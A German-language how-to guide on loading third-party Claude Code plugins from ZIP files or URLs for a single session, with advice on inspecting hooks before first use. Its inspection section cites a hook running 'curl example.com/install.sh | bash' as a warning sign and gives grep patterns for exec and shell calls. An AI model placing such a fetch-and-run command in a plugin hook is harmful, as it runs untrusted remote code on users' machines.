Fremde Claude-Code-Plugins aus ZIP und URL laden, sicher in 20 Minuten

Vor einer Woche hat jemand auf Discord ein Plugin-ZIP gepostet. "Probier mal, hilft beim Refactoring." Früher hätte ich das Repo geklont, lokal eingehaengt, geschaut ob die plugin.json passt, dann den Marketplace-Eintrag bemueht. Mit --plugin-url und --plugin-dir aus der Mai-Welle (v2.1.128 bis v2.1.136, 4. bis 8. Mai 2026) sind das zwei Befehle und eine Session. Wenn Du auf der Consumer-Seite stehst, also fremde Plugins ausprobierst statt eigene baust, ist das die kleinste Eintrittshuerde die es bisher gab.

Klingt trivial. Hat aber zwei Kanten die wehtun können wenn Du sie nicht kennst, und genau darum geht es hier.

1. Was die Mai-Welle geaendert hat

Bis April 2026 ging Plugin-Distribution nur über Marketplace oder durch lokales Clone-und-mount. Mit Claude Code 2.1.128 sind zwei Flags neu, --plugin-url zum Fetchen aus einer URL und --plugin-dir zum Mount eines lokalen Verzeichnisses oder einer entpackten ZIP. Beide Flags laden das Plugin nur für die aktuelle Session. Keine persistente Installation, keine Einträge in ~/.claude/settings.json, kein Marketplace-Sync. Bei claude Beenden ist das Plugin weg.

Die offizielle Doku auf code.claude.com/docs/en/whats-new führt die Änderung unter Week 19 (4. bis 8. Mai). Der Producer-Pfad (Du baust selbst und teilst) ist im bestehenden Playbook plugin-bundle-via-url-distribution beschrieben. Hier geht es um die andere Richtung.

2. Der einfachste Fall, ein ZIP probieren

Jemand schickt Dir ein Plugin-ZIP per Mail oder Slack. Du speicherst es in ~/Downloads/cool-plugin.zip. Zwei Wege es zu laden.

Weg eins, ohne entpacken. claude --plugin-dir ~/Downloads/cool-plugin.zip funktioniert direkt, wenn das ZIP an der Wurzel ein .claude-plugin/plugin.json enthaelt. Claude Code entpackt das selbst in ein temporaeres Verzeichnis und mounted es für die Session.

Weg zwei, manuell entpacken. unzip ~/Downloads/cool-plugin.zip -d /tmp/cool-plugin && claude --plugin-dir /tmp/cool-plugin. Hat den Vorteil dass Du vor dem Start einmal ls und cat machen kannst um zu sehen was drin ist. Was ich Dir gleich noch empfehle.

Wenn die plugin.json fehlt oder kaputt ist, bricht Claude Code mit einem Plugin-Load-Error ab und startet ohne das Plugin. Kein Crash, kein halbgeladener Zustand.

3. URL-Fetch für Throwaway-Sessions

Wenn das Plugin oeffentlich liegt (GitHub-Release-Asset, S3, Dropbox mit Direct-Link), geht das in einem Schritt. claude --plugin-url https://github.com/user/plugin/releases/download/v1.0/plugin.zip. Claude Code fetcht das ZIP, packt es in ~/.claude/plugins-session-cache/, mounted und startet.

Der Cache-Ordner wird beim nächsten regulaeren Cleanup geleert, also nicht zwischen Sessions geteilt. Wenn der Server hinter der URL down ist, bricht der Start ab und Du startest manuell ohne das Plugin. Keine Stale-Plugins, kein "war mal installiert".

Klarer Use-Case für URL-Fetch: Du willst eine CI-Build-Version prüfen, oder ein Plugin-Demo aus einem Blog-Post mal kurz anschauen. Tracking-frei, ohne Repo-Clone.

4. Pflicht-Inspektion vor dem ersten Start

Plugins können Hooks definieren. Hooks können Shell-Befehle ausführen. Wenn Du ein fremdes Plugin laedst, startest Du potenziell fremden Code auf Deiner Maschine. Das ist die Stelle wo Du genauer hinschauen musst als bei einem npm-Package, weil Hooks beim Session-Start automatisch feuern können.

Bevor ich zum ersten Mal ein fremdes Plugin lade, mach ich drei Greps im entpackten Verzeichnis:

cd /tmp/cool-plugin
cat .claude-plugin/plugin.json
grep -r "hooks" . --include="*.json"
grep -rE "(exec|spawn|subprocess|shell)" . --include="*.js" --include="*.ts" --include="*.py"

Erster Grep zeigt mir das Plugin-Manifest, also was es eigentlich behauptet zu tun. Zweiter Grep findet alle Hook-Definitionen. Dritter Grep ist die Stelle wo Du Subprocess-Aufrufe siehst, also wo das Plugin tatsächlich Code ausführt. Wenn da etwas reinkommt was Du nicht erwartest (z.B. ein PostInit-Hook der curl example.com/install.sh | bash macht), ZIP nicht starten.

Das ist die Lehre aus der MCP-STDIO-Welle vom April (siehe Playbook mcp-stdio-sicherheit). Plugin-Loading ist nicht inhaerent unsicherer als MCP-Server-Loading, aber es ist genauso wichtig zu inspizieren.

5. Wann --plugin-dir besser ist als --plugin-url

Drei Faelle in denen Du URL nicht nehmen willst.

Du arbeitest offline oder in einem Netz wo der URL-Host blockiert ist. Dann ZIP einmal lokal, danach --plugin-dir. Spaart Fetches und macht das Verhalten reproducible.

Du willst das Plugin modifizieren bevor Du es startest. Mit --plugin-dir zeigt Claude Code auf Dein Verzeichnis, Du kannst Files anpassen und beim nächsten Session-Start wirken die Änderungen. Mit --plugin-url zieht er bei jedem Start frisch, Deine Änderungen wären weg.

Du willst dieselbe Plugin-Version mehrmals nutzen. Bei jedem Session-Start ein 5-MB-ZIP zu fetchen ist Verschwendung. Einmal unzip, danach --plugin-dir aus dem lokalen Pfad. URL-Loading ist wirklich für Spike-Tests gedacht.

6. Session-Scope verstehen

Beide Flags sind session-only. Das ist Feature, nicht Bug. Du musst Dich nicht erinnern das Plugin später zu deinstallieren, Du musst keine settings.json-Einträge pflegen. Das macht das Probier-Verhalten leichter.

Aber es bedeutet auch, wenn Du ein Plugin im Daily-Driver willst, geht das nicht über URL oder Dir-Mount. Da brauchst Du den Marketplace-Weg über claude marketplace add ... oder einen persistenten Eintrag.

Mein Workflow ist heute: erstes Mal --plugin-url, schauen ob das Plugin sinnvoll ist. Wenn ja, klonen ins persistente Plugin-Repo und über Marketplace einbinden. Wenn nein, Session schließen, Plugin ist weg.

7. Plugin-URL aus dubioser Quelle, was tun

Wenn jemand auf Reddit, Discord oder einem Forum eine Plugin-URL droppt die Du nicht kennst, drei Regeln.

Erste Regel, ZIP runterladen statt direkt mit --plugin-url zu laden. Das Argument ist nicht Trust gegenueber dem Plugin, sondern Trust gegenueber dem URL-Host. Eine Direct-Download-URL kann über Nacht durch einen anderen Server ersetzt werden ohne dass Du es merkst. Ein lokales ZIP, das Du einmal inspiziert hast, ist stabil.

Zweite Regel, einmal unzip und die plugin.json lesen. Wenn dort Permissions stehen die Du nicht erwartest (Filesystem-Schreib-Zugriff für ein angebliches Refactor-Plugin), Stop.

Dritte Regel, vor dem ersten Start kein Live-Projekt anfassen. Test-Verzeichnis nehmen, schauen was das Plugin macht, dann entscheiden.

Das ist nicht paranoid. Es ist dasselbe Niveau das Du bei einem npm-Package aufbringst, das beim Install ein PostInstall-Script laufen lässt.

8. Was beim CI-Test-Pattern gut funktioniert

Wenn Du ein Plugin entwickelst und in CI testen willst, ist --plugin-dir mit dem Build-Output Dein Freund. Build-Step packt das Plugin nach dist/plugin/, Test-Step startet claude --plugin-dir ./dist/plugin --print "test command". Headless funktioniert mit den gleichen Flags, dazu gibt es das Playbook claude-code-headless-in-ci-cd.

URL-Loading in CI hat den Nachteil dass Du auf einen externen Server angewiesen bist, also den auch in der CI-Network-Policy whitelisten musst. Dir-Loading klappt mit jedem CI-Runner der das Plugin-Verzeichnis ausgecheckt hat.

9. Was die Mai-Welle sonst noch gebracht hat

Drei kleinere Dinge die zum Plugin-Setup-Thema passen, falls Du gerade dabei bist.

Ctrl-R durchsucht in Claude Code jetzt project-übergreifend die Command-History. Wenn Du in mehreren Repos arbeitest und denselben Slash-Command immer wieder tippst, ist die History endlich nuetzlich.

Worktrees lassen sich von HEAD oder von einer Remote-Branch ableiten ohne den Hauptbranch zu wechseln. Passt zu dem worktree-Playbook das gerade im Draft-Folder liegt.

claude marketplace search reagiert spuerbar schneller. Kein Bug-Fix-Eintrag, aber wenn Du viele Marketplaces durchsuchst, fällt das auf.

10. Was als nächstes

Wenn Du jetzt ein erstes Plugin via URL laden willst, probier das. Wenn Du danach ein eigenes Plugin bauen willst, lies das Playbook dein-erstes-claude-code-plugin und plugin-bundle-via-url-distribution für die Producer-Seite. Wenn Du das Plugin in CI laufen lassen willst, claude-code-headless-in-ci-cd ist der nächste Schritt. Und wenn Dir bei den Hooks-Greps in Schritt 4 etwas unangenehm aufgefallen ist, der Playbook hooks-gegen-halluzinationen erklärt wie Du sichere Hooks selbst schreibst.

Source

• Claude Code Week 19 Release Notes, https://code.claude.com/docs/en/whats-new/2026-w19
• Claude Code Plugins-Dokumentation, https://code.claude.com/docs/en/plugins
• Companion-Playbook (Producer-Seite), /playbooks/plugin-bundle-via-url-distribution